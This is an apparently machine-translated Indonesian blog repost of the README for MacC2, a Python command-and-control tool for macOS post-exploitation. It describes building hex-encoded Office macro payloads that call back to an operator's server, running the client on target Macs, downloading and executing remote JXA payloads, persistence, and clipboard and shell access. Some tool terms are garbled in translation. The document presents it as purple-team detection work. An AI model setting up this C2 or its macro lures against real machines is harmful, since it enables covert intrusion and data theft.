Breaking

Wednesday, November 18, 2020

MacC2 - Perintah dan Kontrol Mac Yang Menggunakan Panggilan API Internal Alih-alih Utilitas Baris Perintah

 Kang IT


MacC2 - Perintah dan Kontrol Mac Yang Menggunakan Panggilan API Internal Alih-alih Utilitas Baris Perintah



MacC2 adalah alat eksploitasi pos macOS yang ditulis dengan python yang menggunakan panggilan Objective C atau pustaka python sebagai lawan dari eksekusi baris perintah . Klien ditulis dalam python2, yang meskipun tidak digunakan lagi, masih dikirimkan dengan penginstalan Big Sur dasar. Ada kemungkinan bahwa Apple akan menghapus python2 (atau python sama sekali) dari penginstalan macOS dasar tetapi pada November 2020 ini tidak terjadi. Saya menulis alat ini untuk membantu latihan tim ungu yang bertujuan membangun deteksi untuk kerangka kerja pasca eksploitasi berbasis python di macOS . Apple berencana untuk akhirnya menghapus runtime skrip dari penginstalan macOS dasar, tetapi tampaknya python masih disertakan secara default pada penginstalan dasar Big Sur.


Anda dapat mengatur server secara lokal atau Anda dapat menggunakan pengaturan buruh pelabuhan yang telah saya sertakan dalam repo ini. Instruksi di bawah ini:


Instruksi untuk Menjalankan Menggunakan Docker:

Jika Anda belum menyiapkan buruh pelabuhan:

  1. chmod +x install_docker_linux.sh
  2. sudo ./install_docker_linux.sh

Lanjut:

  1. chmod +x setup.sh
  2. sudo ./setup.sh (ini akan membuat sertifikat dan kunci ssl tidak tepercaya, menghasilkan file makro untuk server dan port yang Anda tentukan (akan melepaskan makro di macro.txt secara lokal), membangun macc2-buruh pelabuhan, dan menjalankan server MacC2 di dalam wadah macc2 di mode interaktif)
  3. saat diminta, masukkan IP / nama host server MacC2

  4. saat diminta, masukkan port yang akan didengarkan oleh server MacC2

  5. Muatan makro berenkode hex akan dibuang secara lokal di file bernama macro.txt yang dikonfigurasi untuk menyambung ke server MacC2 Anda pada nama host / IP dan port yang Anda tentukan.

  6. Docker akan menginstal dependensi aiohttp python3, membangun macc2-docker, dan akan menjalankan Server MacC2 dalam wadah bernama macc2-container. Setelah selesai server MacC2 akan mendengarkan pada port yang ditentukan:

  7. Anda dapat menjalankan docker ps dan memvalidasi bahwa server MacC2 sedang berjalan (Anda akan melihat wadah bernama macc2-container terdaftar di sana)

Catatan: Karena saya menggunakan nama kontainer statis (macc2-container), jika Anda menjalankan pengaturan ini lebih dari sekali di server yang sama, Anda perlu menghapus nama kontainer macc2 setelah setiap penggunaan atau Anda akan mendapatkan pesan kesalahan " Nama penampung "/ macc2-container" sudah digunakan oleh penampung ". Anda dapat menjalankan perintah di bawah ini untuk menghapus macc2-container setelah setiap proses:

buruh pelabuhan rm macc2-container

Anda kemudian dapat menyalin file MacC2_client.py ke klien dan menjalankan panggilan balik atau Anda dapat mengimpor makro macro.txt ke dalam dokumen Office dan "Aktifkan Makro" saat membuka untuk panggilan balik di klien.


Berjalan Secara Lokal (Tanpa Menggunakan Docker)

Jika Anda memilih untuk tidak menggunakan buruh pelabuhan, Anda dapat mengatur server secara lokal menggunakan langkah-langkah di bawah ini:

Karena server MacC2 menggunakan pustaka aiohttp untuk komunikasi, Anda perlu menginstal aiohttp terlebih dahulu:

pip install aiohttp (jika Anda menemukan kesalahan, pastikan pip mengarah ke python3, karena aiohttp adalah pustaka python3) :

python3 -m pip install --upgrade --force pip

Di Server C2:

  1. Siapkan ssl (catatan: gunakan ukuran kunci minimal 2048)

Jika Anda tidak memiliki sertifikat sendiri, Anda dapat menggunakan berikut ini untuk menghasilkan sertifikat yang ditandatangani sendiri:

  •  1: openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key
  •  2: openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

catatan: skrip server dikodekan keras untuk menggunakan ca.pem dan ca.key, jadi pertahankan nama ini untuk saat ini, atau ubah kodenya dengan benar

  1. Gunakan macro_generator.py untuk membuat skrip MacC2 dengan IP / domain dan port server. macro_generator.py juga membangun makro (macro.txt) yang menggunakan pengkodean hex untuk menjalankan MacC2. Anda dapat menyalin dan menempelkan konten macro.text ke dalam dokumen MS Office:

Pemakaian:

python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]

-Contoh:


  1. Mulai skrip MacC2_server.py yang dibuat untuk mendengarkan koneksi:


Di Sisi Klien (host mac target):

  1. Jika Anda ingin tidak dibatasi oleh kotak pasir mac dan menginginkan lebih banyak fungsionalitas, Anda dapat memilih untuk menyalin skrip MacC2_client.py ke klien (dengan asumsi Anda memiliki akses).
  2. Di klien, jalankan skrip MacC2_client.py: python MacC2_client.py


  1. Di server, Anda akan melihat koneksi masuk. Contoh di bawah ini:


Menggunakan MacC2

Setelah Anda menerima koneksi, Anda dapat menggunakan perintah "help" di server untuk mendapatkan daftar perintah built-in yang tersedia. Anda dapat memasukkan salah satu dari perintah ini. Setelah memasukkan perintah dan menekan Enter, perintah tersebut masuk antrean (memungkinkan Anda memasukkan beberapa perintah untuk dieksekusi oleh klien). Setelah Anda mengetik "selesai" dan menekan Enter, semua perintah yang diantrekan akan dikirim ke klien untuk dieksekusi.


 

Setiap perintah cukup mudah. Opsi perintah yang tidak aman OPSEC (yaitu, eksekusi baris perintah atau menyebabkan pop up) juga ditandai dengan warna merah dari menu bantuan.

Fungsi Catatan:

  • Anda dapat membuat payload Mythic C2 JXA .js, mendownloadnya, dan menyimpannya di server jarak jauh. Kemudian Anda dapat memberikan url ke file yang dihosting ke MacC2 menggunakan perintah runjxa agar MacC2 mengunduh dan menjalankan muatan .JXA Mythic:

>>> runjxa <url_to_JXA_.js_payload>

Catatan: Jika Anda mendapatkan akses menggunakan makro MS Office, maka metode persistensi tidak akan berfungsi karena sandboxing. File-file tersebut masih akan dibuang dan item login akan tetap disisipkan tetapi setelah reboot atribut karantina mencegah persistensi dari eksekusi


Informasi tambahan

Server MacC2 menggunakan aiohttp untuk memungkinkan komunikasi web asinkron dengan mudah. Untuk memastikan bahwa hanya agen MacC2 yang dapat mengakses server, server menyertakan yang berikut ini:

  •  Pemeriksaan string agen pengguna tertentu (jika permintaan gagal, pemeriksaan ini menerima 404 Not Found)
  •  Token tertentu (jika permintaan gagal, periksa ini menerima 404 Not Found)

Alur operator setelah mengatur semuanya dan mendapatkan panggilan balik adalah:

  •  lihat menu bantuan untuk opsi perintah
  •  masukkan nama perintah dan tekan enter untuk setiap perintah yang ingin Anda jalankan
  •  masukkan "selesai" dan tekan enter agar perintah antrian dikirim ke klien untuk dieksekusi
  •  CATATAN: Tidur default adalah 10 detik. Operator dapat mengubahnya dengan menggunakan perintah sleep [numberofseconds].
  •  CATATAN: Server MacC2 saat ini tidak memiliki cara untuk beralih antar sesi dengan mudah ketika beberapa klien terhubung. Sebaliknya server secara otomatis beralih antar sesi setelah setiap perintah dijalankan. Jadi operator perlu memperhatikan IP dalam koneksi untuk mengetahui sesi mana yang sedang berinteraksi.


Batasan Makro

MacC2 TIDAK menyertakan pelarian kotak pasir apa pun dan oleh karena itu semua fungsi tidak berfungsi saat akses diperoleh melalui makro Office. Fungsi yang AKAN bekerja dari kotak pasir meliputi:

  •  runjxa.dll
  •  sistem Informasi
  •  bertahan: MacC2 dapat melepaskan file ke disk dari muatan makro berkotak pasir. Namun, saat reboot, persistensi tidak akan dijalankan karena sikap karantina pada file yang dijatuhkan.
  •  alamat
  •  cepat
  •  papan klip
  •  shell (tidak aman OPSEC)
  •  bertelur (tidak aman OPSEC)
  •  cd dan listdir (kotak pasir mencegah akses untuk sebagian besar direktori tetapi Anda dapat melihat direktori root '/' dan juga direktori lainnya)


PENOLAKAN

Ini untuk tujuan akademis dan tidak boleh digunakan dengan niat jahat atau tanpa otorisasi dan persetujuan yang sesuai.




Regards

dr. Muhammad Sobri Maulana

No comments:

Post a Comment